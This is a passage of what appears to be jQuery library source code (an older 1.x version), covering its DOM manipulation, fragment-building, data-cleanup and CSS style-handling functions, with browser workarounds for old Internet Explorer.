);\n\t\t}\n\t},\n\n\tafter: function() {\n\t\tif ( this[0] && this[0].parentNode ) {\n\t\t\treturn this.domManip(arguments, false, function( elem ) {\n\t\t\t\tthis.parentNode.insertBefore( elem, this.nextSibling );\n\t\t\t});\n\t\t} else if ( arguments.length ) {\n\t\t\tvar set = this.pushStack( this, \"after\", arguments );\n\t\t\tset.push.apply( set, jQuery(arguments[0]).toArray() );\n\t\t\treturn set;\n\t\t}\n\t},\n\n\t// keepData is for internal use only--do not document\n\tremove: function( selector, keepData ) {\n\t\tfor ( var i = 0, elem; (elem = this[i]) != null; i++ ) {\n\t\t\tif ( !selector || jQuery.filter( selector, [ elem ] ).length ) {\n\t\t\t\tif ( !keepData && elem.nodeType === 1 ) {\n\t\t\t\t\tjQuery.cleanData( elem.getElementsByTagName(\"*\") );\n\t\t\t\t\tjQuery.cleanData( [ elem ] );\n\t\t\t\t}\n\n\t\t\t\tif ( elem.parentNode ) {\n\t\t\t\t\telem.parentNode.removeChild( elem );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn this;\n\t},\n\n\tempty: function() {\n\t\tfor ( var i = 0, elem; (elem = this[i]) != null; i++ ) {\n\t\t\t// Remove element nodes and prevent memory leaks\n\t\t\tif ( elem.nodeType === 1 ) {\n\t\t\t\tjQuery.cleanData( elem.getElementsByTagName(\"*\") );\n\t\t\t}\n\n\t\t\t// Remove any remaining nodes\n\t\t\twhile ( elem.firstChild ) {\n\t\t\t\telem.removeChild( elem.firstChild );\n\t\t\t}\n\t\t}\n\n\t\treturn this;\n\t},\n\n\tclone: function( dataAndEvents, deepDataAndEvents ) {\n\t\tdataAndEvents = dataAndEvents == null ? false : dataAndEvents;\n\t\tdeepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents;\n\n\t\treturn this.map( function () {\n\t\t\treturn jQuery.clone( this, dataAndEvents, deepDataAndEvents );\n\t\t});\n\t},\n\n\thtml: function( value ) {\n\t\tif ( value === undefined ) {\n\t\t\treturn this[0] && this[0].nodeType === 1 ?\n\t\t\t\tthis[0].innerHTML.replace(rinlinejQuery, \"\") :\n\t\t\t\tnull;\n\n\t\t// See if we can take a shortcut and just use innerHTML\n\t\t} else if ( typeof value === \"string\" && !rnocache.test( value ) &&\n\t\t\t(jQuery.support.leadingWhitespace || !rleadingWhitespace.test( value )) &&\n\t\t\t!wrapMap[ (rtagName.exec( value ) || [\"\", \"\"])[1].toLowerCase() ] ) {\n\n\t\t\tvalue = value.replace(rxhtmlTag, \"<$1></$2>\");\n\n\t\t\ttry {\n\t\t\t\tfor ( var i = 0, l = this.length; i < l; i++ ) {\n\t\t\t\t\t// Remove element nodes and prevent memory leaks\n\t\t\t\t\tif ( this[i].nodeType === 1 ) {\n\t\t\t\t\t\tjQuery.cleanData( this[i].getElementsByTagName(\"*\") );\n\t\t\t\t\t\tthis[i].innerHTML = value;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t// If using innerHTML throws an exception, use the fallback method\n\t\t\t} catch(e) {\n\t\t\t\tthis.empty().append( value );\n\t\t\t}\n\n\t\t} else if ( jQuery.isFunction( value ) ) {\n\t\t\tthis.each(function(i){\n\t\t\t\tvar self = jQuery( this );\n\n\t\t\t\tself.html( value.call(this, i, self.html()) );\n\t\t\t});\n\n\t\t} else {\n\t\t\tthis.empty().append( value );\n\t\t}\n\n\t\treturn this;\n\t},\n\n\treplaceWith: function( value ) {\n\t\tif ( this[0] && this[0].parentNode ) {\n\t\t\t// Make sure that the elements are removed from the DOM before they are inserted\n\t\t\t// this can help fix replacing a parent with child elements\n\t\t\tif ( jQuery.isFunction( value ) ) {\n\t\t\t\treturn this.each(function(i) {\n\t\t\t\t\tvar self = jQuery(this), old = self.html();\n\t\t\t\t\tself.replaceWith( value.call( this, i, old ) );\n\t\t\t\t});\n\t\t\t}\n\n\t\t\tif ( typeof value !== \"string\" ) {\n\t\t\t\tvalue = jQuery( value ).detach();\n\t\t\t}\n\n\t\t\treturn this.each(function() {\n\t\t\t\tvar next = this.nextSibling,\n\t\t\t\t\tparent = this.parentNode;\n\n\t\t\t\tjQuery( this ).remove();\n\n\t\t\t\tif ( next ) {\n\t\t\t\t\tjQuery(next).before( value );\n\t\t\t\t} else {\n\t\t\t\t\tjQuery(parent).append( value );\n\t\t\t\t}\n\t\t\t});\n\t\t} else {\n\t\t\treturn this.length ?\n\t\t\t\tthis.pushStack( jQuery(jQuery.isFunction(value) ? value() : value), \"replaceWith\", value ) :\n\t\t\t\tthis;\n\t\t}\n\t},\n\n\tdetach: function( selector ) {\n\t\treturn this.remove( selector, true );\n\t},\n\n\tdomManip: function( args, table, callback ) {\n\t\tvar results, first, fragment, parent,\n\t\t\tvalue = args[0],\n\t\t\tscripts = [];\n\n\t\t// We can't cloneNode fragments that contain checked, in WebKit\n\t\tif ( !jQuery.support.checkClone && arguments.length === 3 && typeof value === \"string\" && rchecked.test( value ) ) {\n\t\t\treturn this.each(function() {\n\t\t\t\tjQuery(this).domManip( args, table, callback, true );\n\t\t\t});\n\t\t}\n\n\t\tif ( jQuery.isFunction(value) ) {\n\t\t\treturn this.each(function(i) {\n\t\t\t\tvar self = jQuery(this);\n\t\t\t\targs[0] = value.call(this, i, table ? self.html() : undefined);\n\t\t\t\tself.domManip( args, table, callback );\n\t\t\t});\n\t\t}\n\n\t\tif ( this[0] ) {\n\t\t\tparent = value && value.parentNode;\n\n\t\t\t// If we're in a fragment, just use that instead of building a new one\n\t\t\tif ( jQuery.support.parentNode && parent && parent.nodeType === 11 && parent.childNodes.length === this.length ) {\n\t\t\t\tresults = { fragment: parent };\n\n\t\t\t} else {\n\t\t\t\tresults = jQuery.buildFragment( args, this, scripts );\n\t\t\t}\n\n\t\t\tfragment = results.fragment;\n\n\t\t\tif ( fragment.childNodes.length === 1 ) {\n\t\t\t\tfirst = fragment = fragment.firstChild;\n\t\t\t} else {\n\t\t\t\tfirst = fragment.firstChild;\n\t\t\t}\n\n\t\t\tif ( first ) {\n\t\t\t\ttable = table && jQuery.nodeName( first, \"tr\" );\n\n\t\t\t\tfor ( var i = 0, l = this.length, lastIndex = l - 1; i < l; i++ ) {\n\t\t\t\t\tcallback.call(\n\t\t\t\t\t\ttable ?\n\t\t\t\t\t\t\troot(this[i], first) :\n\t\t\t\t\t\t\tthis[i],\n\t\t\t\t\t\t// Make sure that we do not leak memory by inadvertently discarding\n\t\t\t\t\t\t// the original fragment (which might have attached data) instead of\n\t\t\t\t\t\t// using it; in addition, use the original fragment object for the last\n\t\t\t\t\t\t// item instead of first because it can end up being emptied incorrectly\n\t\t\t\t\t\t// in certain situations (Bug #8070).\n\t\t\t\t\t\t// Fragments from the fragment cache must always be cloned and never used\n\t\t\t\t\t\t// in place.\n\t\t\t\t\t\tresults.cacheable || (l > 1 && i < lastIndex) ?\n\t\t\t\t\t\t\tjQuery.clone( fragment, true, true ) :\n\t\t\t\t\t\t\tfragment\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( scripts.length ) {\n\t\t\t\tjQuery.each( scripts, evalScript );\n\t\t\t}\n\t\t}\n\n\t\treturn this;\n\t}\n});\n\nfunction root( elem, cur ) {\n\treturn jQuery.nodeName(elem, \"table\") ?\n\t\t(elem.getElementsByTagName(\"tbody\")[0] ||\n\t\telem.appendChild(elem.ownerDocument.createElement(\"tbody\"))) :\n\t\telem;\n}\n\nfunction cloneCopyEvent( src, dest ) {\n\n\tif ( dest.nodeType !== 1 || !jQuery.hasData( src ) ) {\n\t\treturn;\n\t}\n\n\tvar internalKey = jQuery.expando,\n\t\toldData = jQuery.data( src ),\n\t\tcurData = jQuery.data( dest, oldData );\n\n\t// Switch to use the internal data object, if it exists, for the next\n\t// stage of data copying\n\tif ( (oldData = oldData[ internalKey ]) ) {\n\t\tvar events = oldData.events;\n\t\t\t\tcurData = curData[ internalKey ] = jQuery.extend({}, oldData);\n\n\t\tif ( events ) {\n\t\t\tdelete curData.handle;\n\t\t\tcurData.events = {};\n\n\t\t\tfor ( var type in events ) {\n\t\t\t\tfor ( var i = 0, l = events[ type ].length; i < l; i++ ) {\n\t\t\t\t\tjQuery.event.add( dest, type + ( events[ type ][ i ].namespace ? \".\" : \"\" ) + events[ type ][ i ].namespace, events[ type ][ i ], events[ type ][ i ].data );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunction cloneFixAttributes( src, dest ) {\n\tvar nodeName;\n\n\t// We do not need to do anything for non-Elements\n\tif ( dest.nodeType !== 1 ) {\n\t\treturn;\n\t}\n\n\t// clearAttributes removes the attributes, which we don't want,\n\t// but also removes the attachEvent events, which we *do* want\n\tif ( dest.clearAttributes ) {\n\t\tdest.clearAttributes();\n\t}\n\n\t// mergeAttributes, in contrast, only merges back on the\n\t// original attributes, not the events\n\tif ( dest.mergeAttributes ) {\n\t\tdest.mergeAttributes( src );\n\t}\n\n\tnodeName = dest.nodeName.toLowerCase();\n\n\t// IE6-8 fail to clone children inside object elements that use\n\t// the proprietary classid attribute value (rather than the type\n\t// attribute) to identify the type of content to display\n\tif ( nodeName === \"object\" ) {\n\t\tdest.outerHTML = src.outerHTML;\n\n\t} else if ( nodeName === \"input\" && (src.type === \"checkbox\" || src.type === \"radio\") ) {\n\t\t// IE6-8 fails to persist the checked state of a cloned checkbox\n\t\t// or radio button. Worse, IE6-7 fail to give the cloned element\n\t\t// a checked appearance if the defaultChecked value isn't also set\n\t\tif ( src.checked ) {\n\t\t\tdest.defaultChecked = dest.checked = src.checked;\n\t\t}\n\n\t\t// IE6-7 get confused and end up setting the value of a cloned\n\t\t// checkbox/radio button to an empty string instead of \"on\"\n\t\tif ( dest.value !== src.value ) {\n\t\t\tdest.value = src.value;\n\t\t}\n\n\t// IE6-8 fails to return the selected option to the default selected\n\t// state when cloning options\n\t} else if ( nodeName === \"option\" ) {\n\t\tdest.selected = src.defaultSelected;\n\n\t// IE6-8 fails to set the defaultValue to the correct value when\n\t// cloning other types of input fields\n\t} else if ( nodeName === \"input\" || nodeName === \"textarea\" ) {\n\t\tdest.defaultValue = src.defaultValue;\n\t}\n\n\t// Event data gets referenced instead of copied if the expando\n\t// gets copied too\n\tdest.removeAttribute( jQuery.expando );\n}\n\njQuery.buildFragment = function( args, nodes, scripts ) {\n\tvar fragment, cacheable, cacheresults,\n\t\tdoc = (nodes && nodes[0] ? nodes[0].ownerDocument || nodes[0] : document);\n\n\t// Only cache \"small\" (1/2 KB) HTML strings that are associated with the main document\n\t// Cloning options loses the selected state, so don't cache them\n\t// IE 6 doesn't like it when you put <object> or <embed> elements in a fragment\n\t// Also, WebKit does not clone 'checked' attributes on cloneNode, so don't cache\n\tif ( args.length === 1 && typeof args[0] === \"string\" && args[0].length < 512 && doc === document &&\n\t\targs[0].charAt(0) === \"<\" && !rnocache.test( args[0] ) && (jQuery.support.checkClone || !rchecked.test( args[0] )) ) {\n\n\t\tcacheable = true;\n\n\t\tcacheresults = jQuery.fragments[ args[0] ];\n\t\tif ( cacheresults && cacheresults !== 1 ) {\n\t\t\tfragment = cacheresults;\n\t\t}\n\t}\n\n\tif ( !fragment ) {\n\t\tfragment = doc.createDocumentFragment();\n\t\tjQuery.clean( args, doc, fragment, scripts );\n\t}\n\n\tif ( cacheable ) {\n\t\tjQuery.fragments[ args[0] ] = cacheresults ? fragment : 1;\n\t}\n\n\treturn { fragment: fragment, cacheable: cacheable };\n};\n\njQuery.fragments = {};\n\njQuery.each({\n\tappendTo: \"append\",\n\tprependTo: \"prepend\",\n\tinsertBefore: \"before\",\n\tinsertAfter: \"after\",\n\treplaceAll: \"replaceWith\"\n}, function( name, original ) {\n\tjQuery.fn[ name ] = function( selector ) {\n\t\tvar ret = [],\n\t\t\tinsert = jQuery( selector ),\n\t\t\tparent = this.length === 1 && this[0].parentNode;\n\n\t\tif ( parent && parent.nodeType === 11 && parent.childNodes.length === 1 && insert.length === 1 ) {\n\t\t\tinsert[ original ]( this[0] );\n\t\t\treturn this;\n\n\t\t} else {\n\t\t\tfor ( var i = 0, l = insert.length; i < l; i++ ) {\n\t\t\t\tvar elems = (i > 0 ? this.clone(true) : this).get();\n\t\t\t\tjQuery( insert[i] )[ original ]( elems );\n\t\t\t\tret = ret.concat( elems );\n\t\t\t}\n\n\t\t\treturn this.pushStack( ret, name, insert.selector );\n\t\t}\n\t};\n});\n\nfunction getAll( elem ) {\n\tif ( \"getElementsByTagName\" in elem ) {\n\t\treturn elem.getElementsByTagName( \"*\" );\n\n\t} else if ( \"querySelectorAll\" in elem ) {\n\t\treturn elem.querySelectorAll( \"*\" );\n\n\t} else {\n\t\treturn [];\n\t}\n}\n\n// Used in clean, fixes the defaultChecked property\nfunction fixDefaultChecked( elem ) {\n\tif ( elem.type === \"checkbox\" || elem.type === \"radio\" ) {\n\t\telem.defaultChecked = elem.checked;\n\t}\n}\n// Finds all inputs and passes them to fixDefaultChecked\nfunction findInputs( elem ) {\n\tif ( jQuery.nodeName( elem, \"input\" ) ) {\n\t\tfixDefaultChecked( elem );\n\t} else if ( elem.getElementsByTagName ) {\n\t\tjQuery.grep( elem.getElementsByTagName(\"input\"), fixDefaultChecked );\n\t}\n}\n\njQuery.extend({\n\tclone: function( elem, dataAndEvents, deepDataAndEvents ) {\n\t\tvar clone = elem.cloneNode(true),\n\t\t\t\tsrcElements,\n\t\t\t\tdestElements,\n\t\t\t\ti;\n\n\t\tif ( (!jQuery.support.noCloneEvent || !jQuery.support.noCloneChecked) &&\n\t\t\t\t(elem.nodeType === 1 || elem.nodeType === 11) && !jQuery.isXMLDoc(elem) ) {\n\t\t\t// IE copies events bound via attachEvent when using cloneNode.\n\t\t\t// Calling detachEvent on the clone will also remove the events\n\t\t\t// from the original. In order to get around this, we use some\n\t\t\t// proprietary methods to clear the events. Thanks to MooTools\n\t\t\t// guys for this hotness.\n\n\t\t\tcloneFixAttributes( elem, clone );\n\n\t\t\t// Using Sizzle here is crazy slow, so we use getElementsByTagName\n\t\t\t// instead\n\t\t\tsrcElements = getAll( elem );\n\t\t\tdestElements = getAll( clone );\n\n\t\t\t// Weird iteration because IE will replace the length property\n\t\t\t// with an element if you are cloning the body and one of the\n\t\t\t// elements on the page has a name or id of \"length\"\n\t\t\tfor ( i = 0; srcElements[i]; ++i ) {\n\t\t\t\tcloneFixAttributes( srcElements[i], destElements[i] );\n\t\t\t}\n\t\t}\n\n\t\t// Copy the events from the original to the clone\n\t\tif ( dataAndEvents ) {\n\t\t\tcloneCopyEvent( elem, clone );\n\n\t\t\tif ( deepDataAndEvents ) {\n\t\t\t\tsrcElements = getAll( elem );\n\t\t\t\tdestElements = getAll( clone );\n\n\t\t\t\tfor ( i = 0; srcElements[i]; ++i ) {\n\t\t\t\t\tcloneCopyEvent( srcElements[i], destElements[i] );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Return the cloned set\n\t\treturn clone;\n\t},\n\n\tclean: function( elems, context, fragment, scripts ) {\n\t\tvar checkScriptType;\n\n\t\tcontext = context || document;\n\n\t\t// !context.createElement fails in IE with an error but returns typeof 'object'\n\t\tif ( typeof context.createElement === \"undefined\" ) {\n\t\t\tcontext = context.ownerDocument || context[0] && context[0].ownerDocument || document;\n\t\t}\n\n\t\tvar ret = [], j;\n\n\t\tfor ( var i = 0, elem; (elem = elems[i]) != null; i++ ) {\n\t\t\tif ( typeof elem === \"number\" ) {\n\t\t\t\telem += \"\";\n\t\t\t}\n\n\t\t\tif ( !elem ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t// Convert html string into DOM nodes\n\t\t\tif ( typeof elem === \"string\" ) {\n\t\t\t\tif ( !rhtml.test( elem ) ) {\n\t\t\t\t\telem = context.createTextNode( elem );\n\t\t\t\t} else {\n\t\t\t\t\t// Fix \"XHTML\"-style tags in all browsers\n\t\t\t\t\telem = elem.replace(rxhtmlTag, \"<$1></$2>\");\n\n\t\t\t\t\t// Trim whitespace, otherwise indexOf won't work as expected\n\t\t\t\t\tvar tag = (rtagName.exec( elem ) || [\"\", \"\"])[1].toLowerCase(),\n\t\t\t\t\t\twrap = wrapMap[ tag ] || wrapMap._default,\n\t\t\t\t\t\tdepth = wrap[0],\n\t\t\t\t\t\tdiv = context.createElement(\"div\");\n\n\t\t\t\t\t// Go to html and back, then peel off extra wrappers\n\t\t\t\t\tdiv.innerHTML = wrap[1] + elem + wrap[2];\n\n\t\t\t\t\t// Move to the right depth\n\t\t\t\t\twhile ( depth-- ) {\n\t\t\t\t\t\tdiv = div.lastChild;\n\t\t\t\t\t}\n\n\t\t\t\t\t// Remove IE's autoinserted <tbody> from table fragments\n\t\t\t\t\tif ( !jQuery.support.tbody ) {\n\n\t\t\t\t\t\t// String was a <table>, *may* have spurious <tbody>\n\t\t\t\t\t\tvar hasBody = rtbody.test(elem),\n\t\t\t\t\t\t\ttbody = tag === \"table\" && !hasBody ?\n\t\t\t\t\t\t\t\tdiv.firstChild && div.firstChild.childNodes :\n\n\t\t\t\t\t\t\t\t// String was a bare <thead> or <tfoot>\n\t\t\t\t\t\t\t\twrap[1] === \"<table>\" && !hasBody ?\n\t\t\t\t\t\t\t\t\tdiv.childNodes :\n\t\t\t\t\t\t\t\t\t[];\n\n\t\t\t\t\t\tfor ( j = tbody.length - 1; j >= 0 ; --j ) {\n\t\t\t\t\t\t\tif ( jQuery.nodeName( tbody[ j ], \"tbody\" ) && !tbody[ j ].childNodes.length ) {\n\t\t\t\t\t\t\t\ttbody[ j ].parentNode.removeChild( tbody[ j ] );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// IE completely kills leading whitespace when innerHTML is used\n\t\t\t\t\tif ( !jQuery.support.leadingWhitespace && rleadingWhitespace.test( elem ) ) {\n\t\t\t\t\t\tdiv.insertBefore( context.createTextNode( rleadingWhitespace.exec(elem)[0] ), div.firstChild );\n\t\t\t\t\t}\n\n\t\t\t\t\telem = div.childNodes;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Resets defaultChecked for any radios and checkboxes\n\t\t\t// about to be appended to the DOM in IE 6/7 (#8060)\n\t\t\tvar len;\n\t\t\tif ( !jQuery.support.appendChecked ) {\n\t\t\t\tif ( elem[0] && typeof (len = elem.length) === \"number\" ) {\n\t\t\t\t\tfor ( j = 0; j < len; j++ ) {\n\t\t\t\t\t\tfindInputs( elem[j] );\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tfindInputs( elem );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( elem.nodeType ) {\n\t\t\t\tret.push( elem );\n\t\t\t} else {\n\t\t\t\tret = jQuery.merge( ret, elem );\n\t\t\t}\n\t\t}\n\n\t\tif ( fragment ) {\n\t\t\tcheckScriptType = function( elem ) {\n\t\t\t\treturn !elem.type || rscriptType.test( elem.type );\n\t\t\t};\n\t\t\tfor ( i = 0; ret[i]; i++ ) {\n\t\t\t\tif ( scripts && jQuery.nodeName( ret[i], \"script\" ) && (!ret[i].type || ret[i].type.toLowerCase() === \"text/javascript\") ) {\n\t\t\t\t\tscripts.push( ret[i].parentNode ? ret[i].parentNode.removeChild( ret[i] ) : ret[i] );\n\n\t\t\t\t} else {\n\t\t\t\t\tif ( ret[i].nodeType === 1 ) {\n\t\t\t\t\t\tvar jsTags = jQuery.grep( ret[i].getElementsByTagName( \"script\" ), checkScriptType );\n\n\t\t\t\t\t\tret.splice.apply( ret, [i + 1, 0].concat( jsTags ) );\n\t\t\t\t\t}\n\t\t\t\t\tfragment.appendChild( ret[i] );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn ret;\n\t},\n\n\tcleanData: function( elems ) {\n\t\tvar data, id, cache = jQuery.cache, internalKey = jQuery.expando, special = jQuery.event.special,\n\t\t\tdeleteExpando = jQuery.support.deleteExpando;\n\n\t\tfor ( var i = 0, elem; (elem = elems[i]) != null; i++ ) {\n\t\t\tif ( elem.nodeName && jQuery.noData[elem.nodeName.toLowerCase()] ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tid = elem[ jQuery.expando ];\n\n\t\t\tif ( id ) {\n\t\t\t\tdata = cache[ id ] && cache[ id ][ internalKey ];\n\n\t\t\t\tif ( data && data.events ) {\n\t\t\t\t\tfor ( var type in data.events ) {\n\t\t\t\t\t\tif ( special[ type ] ) {\n\t\t\t\t\t\t\tjQuery.event.remove( elem, type );\n\n\t\t\t\t\t\t// This is a shortcut to avoid jQuery.event.remove's overhead\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tjQuery.removeEvent( elem, type, data.handle );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// Null the DOM reference to avoid IE6/7/8 leak (#7054)\n\t\t\t\t\tif ( data.handle ) {\n\t\t\t\t\t\tdata.handle.elem = null;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif ( deleteExpando ) {\n\t\t\t\t\tdelete elem[ jQuery.expando ];\n\n\t\t\t\t} else if ( elem.removeAttribute ) {\n\t\t\t\t\telem.removeAttribute( jQuery.expando );\n\t\t\t\t}\n\n\t\t\t\tdelete cache[ id ];\n\t\t\t}\n\t\t}\n\t}\n});\n\nfunction evalScript( i, elem ) {\n\tif ( elem.src ) {\n\t\tjQuery.ajax({\n\t\t\turl: elem.src,\n\t\t\tasync: false,\n\t\t\tdataType: \"script\"\n\t\t});\n\t} else {\n\t\tjQuery.globalEval( ( elem.text || elem.textContent || elem.innerHTML || \"\" ).replace( rcleanScript, \"/*$0*/\" ) );\n\t}\n\n\tif ( elem.parentNode ) {\n\t\telem.parentNode.removeChild( elem );\n\t}\n}\n\n\n\n\nvar ralpha = /alpha\\([^)]*\\)/i,\n\tropacity = /opacity=([^)]*)/,\n\trdashAlpha = /-([a-z])/ig,\n\t// fixed for IE9, see #8346\n\trupper = /([A-Z]|^ms)/g,\n\trnumpx = /^-?\\d+(?:px)?$/i,\n\trnum = /^-?\\d/,\n\trrelNum = /^[+\\-]=/,\n\trrelNumFilter = /[^+\\-\\.\\de]+/g,\n\n\tcssShow = { position: \"absolute\", visibility: \"hidden\", display: \"block\" },\n\tcssWidth = [ \"Left\", \"Right\" ],\n\tcssHeight = [ \"Top\", \"Bottom\" ],\n\tcurCSS,\n\n\tgetComputedStyle,\n\tcurrentStyle,\n\n\tfcamelCase = function( all, letter ) {\n\t\treturn letter.toUpperCase();\n\t};\n\njQuery.fn.css = function( name, value ) {\n\t// Setting 'undefined' is a no-op\n\tif ( arguments.length === 2 && value === undefined ) {\n\t\treturn this;\n\t}\n\n\treturn jQuery.access( this, name, value, true, function( elem, name, value ) {\n\t\treturn value !== undefined ?\n\t\t\tjQuery.style( elem, name, value ) :\n\t\t\tjQuery.css( elem, name );\n\t});\n};\n\njQuery.extend({\n\t// Add in style property hooks for overriding the default\n\t// behavior of getting and setting a style property\n\tcssHooks: {\n\t\topacity: {\n\t\t\tget: function( elem, computed ) {\n\t\t\t\tif ( computed ) {\n\t\t\t\t\t// We should always get a number back from opacity\n\t\t\t\t\tvar ret = curCSS( elem, \"opacity\", \"opacity\" );\n\t\t\t\t\treturn ret === \"\" ? \"1\" : ret;\n\n\t\t\t\t} else {\n\t\t\t\t\treturn elem.style.opacity;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\n\t// Exclude the following css properties to add px\n\tcssNumber: {\n\t\t\"zIndex\": true,\n\t\t\"fontWeight\": true,\n\t\t\"opacity\": true,\n\t\t\"zoom\": true,\n\t\t\"lineHeight\": true,\n\t\t\"widows\": true,\n\t\t\"orphans\": true\n\t},\n\n\t// Add in properties whose names you wish to fix before\n\t// setting or getting the value\n\tcssProps: {\n\t\t// normalize float css property\n\t\t\"float\": jQuery.support.cssFloat ? \"cssFloat\" : \"styleFloat\"\n\t},\n\n\t// Get and set the style property on a DOM Node\n\tstyle: function( elem, name, value, extra ) {\n\t\t// Don't set styles on text and comment nodes\n\t\tif ( !elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Make sure that we're working with the right name\n\t\tvar ret, type, origName = jQuery.camelCase( name ),\n\t\t\tstyle = elem.style, hooks = jQuery.cssHooks[ origName ];\n\n\t\tname = jQuery.cssProps[ origName ] || origName;\n\n\t\t// Check if we're setting a value\n\t\tif ( value !== undefined ) {\n\t\t\ttype = typeof value;\n\n\t\t\t// Make sure that NaN and null values aren't set. See: #7116\n\t\t\tif ( type === \"number\" && isNaN( value ) || value == null ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// convert relative number strings (+= or -=) to relative numbers. #7345\n\t\t\tif ( type === \"string\" && rrelNum.test( value ) ) {\n\t\t\t\tvalue = +value.replace( rrelNumFilter, \"\" ) + parseFloat( jQuery.css( elem, name ) );\n\t\t\t}\n\n\t\t\t// If a number was passed in, add 'px' to the (except for certain CSS properties)\n\t\t\tif ( type === \"number\" && !jQuery.cssNumber[ origName ] ) {\n\t\t\t\tvalue += \"px\";\n\t\t\t}\n\n\t\t\t// If a hook was provided, use that value, otherwise just set the specified value\n\t\t\tif ( !hooks || !(\"set\" in hooks) || (value = hooks.set( elem, value )) !== undefined ) {\n\t\t\t\t// Wrapped to prevent IE from throwing errors when 'invalid' values are provided\n\t\t\t\t// Fixes bug #5509\n\t\t\t\ttry {\n\t\t\t\t\tstyle[ name ] = value;\n\t\t\t\t} catch(e) {}\n\t\t\t}\n\n\t\t} else {\n\t\t\t// If a hook was provided get the non-computed value from there\n\t\t\tif ( hooks && \"get\" in hooks && (ret = hooks.get( elem, false, extra )) !== undefined ) {\n\t\t\t\treturn ret;\n\t\t\t}\n\n\t\t\t// Otherwise just get the value from the style object\n\t\t\treturn style[ name ];\n\t\t}\n\t},\n\n\tcss: function( elem, name, extra ) {\n\t\tvar ret, hooks;\n\n\t\t// Make sure that we're working with the right name\n\t\tname = jQuery.camelCase( name );\n\t\thooks = jQuery.cssHooks[ name ];\n\t\tname = jQuery.cssProps[ name ] || name;\n\n\t\t// cssFloat needs a special treatment\n\t\tif ( name === \"cssFloat\" ) {\n\t\t\tname = \"float\";\n\t\t}\n\n\t\t// If a hook was provided get the computed value from there\n\t\tif ( hooks && \"get\" in hooks && (ret = hooks.get( elem, true, extra )) !== undefined ) {\n\t\t\treturn ret;\n\n\t\t// Otherwise, if a way to get the computed value exists, use that\n\t\t} else if ( curCSS ) {\n\t\t\treturn curCSS( elem, name );\n\t\t}\n\t},\n\n\t// A method for quickly swapping in/out CSS properties to get correct calculations\n\tswap: function( elem, options, callback ) {\n\t\tvar old = {};\n\n\t\t// Remember the old values, and insert the new ones\n\t\tfor ( var name in options ) {\n\t\t\told[ name ] = elem.style[ name ];\n\t\t\telem.style[ name ] = options[ name ];\n\t\t}\n\n\t\tcallback.call( elem );\n\n\t\t// Revert the old values\n\t\tfor ( name in options ) {\n\t\t\telem.style[ name ] = old[ name ];\n\t\t}\n\t},\n\n\tcamelCase: function( string ) {\n\t\treturn string.replace( rdashAlpha, fcamelCase );\n\t}\n});\n\n// DEPRECATED, Use jQuery.css() instead\njQuery.curCSS = jQuery.css;\n\njQuery.each([\"height\", \"width\"], function( i, name ) {\n\tjQuery.cssHooks[ name ] = {\n\t\tget: function( elem, computed, extra ) {\n\t\t\tvar val;\n\n\t\t\tif ( computed ) {\n\t\t\t\tif ( elem.offsetWidth !== 0 ) {\n\t\t\t\t\tval = getWH( elem, name, extra );\n\n\t\t\t\t} else {\n\t\t\t\t\tjQuery.swap( elem, cssShow, function() {\n\t\t\t\t\t\tval = getWH( elem, name, extra );\n\t\t\t\t\t});\n\t\t\t\t}\n\n\t\t\t\tif ( val <= 0 ) {\n\t\t\t\t\tval = curCSS( elem, name, name );\n\n\t\t\t\t\tif ( val === \"0px\" && currentStyle ) {\n\t\t\t\t\t\tval = currentStyle( elem, name, name );\n\t\t\t\t\t}\n\n\t\t\t\t\tif ( val != null ) {\n\t\t\t\t\t\t// Should return \"auto\" instead of 0, use 0 for\n\t\t\t\t\t\t// temporary backwards-compat\n\t\t\t\t\t\treturn val === \"\" || val === \"auto\" ? \"0px\" : val;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif ( val < 0 || val == null ) {\n\t\t\t\t\tval = elem.style[ name ];\n\n\t\t\t\t\t// Should return \"auto\" instead of 0, use 0 for\n\t\t\t\t\t// temporary backwards-compat\n\t\t\t\t\treturn val === \"\" || val === \"auto\" ? \"0px\" : val;\n\t\t\t\t}\n\n\t\t\t\treturn typeof val === \"string\" ? val : val + \"px\";\n\t\t\t}\n\t\t},\n\n\t\tset: function( elem, value ) {\n\t\t\tif ( rnumpx.test( value ) ) {\n\t\t\t\t// ignore negative width and height values #1599\n\t\t\t\tvalue = parseFloat(value);\n\n\t\t\t\tif ( value >= 0 ) {\n\t\t\t\t\treturn value + \"px\";\n\t\t\t\t}\n\n\t\t\t} else {\n\t\t\t\treturn value;\n\t\t\t}\n\t\t}\n\t};\n});\n\nif ( !jQuery.support.opacity ) {\n\tjQuery.cssHooks.opacity = {\n\t\tget: function( elem, computed ) {\n\t\t\t// IE uses filters for opacity\n\t\t\treturn ropacity.test( (computed && elem.currentStyle ? elem.currentStyle.filter : elem.style.filter) || \"\" ) ?\n\t\t\t\t( parseFloat( RegExp.$1 ) / 100 ) + \"\" :\n\t\t\t\tcomputed ? \"1\" : \"\";\n\t\t},\n\n\t\tset: function( elem, value ) {\n\t\t\tvar style = elem.style,\n\t\t\t\tcurrentStyle = elem.currentStyle;\n\n\t\t\t// IE has trouble with opacity if it does not have layout\n\t\t\t// Force it by setting the zoom level\n\t\t\tstyle.zoom = 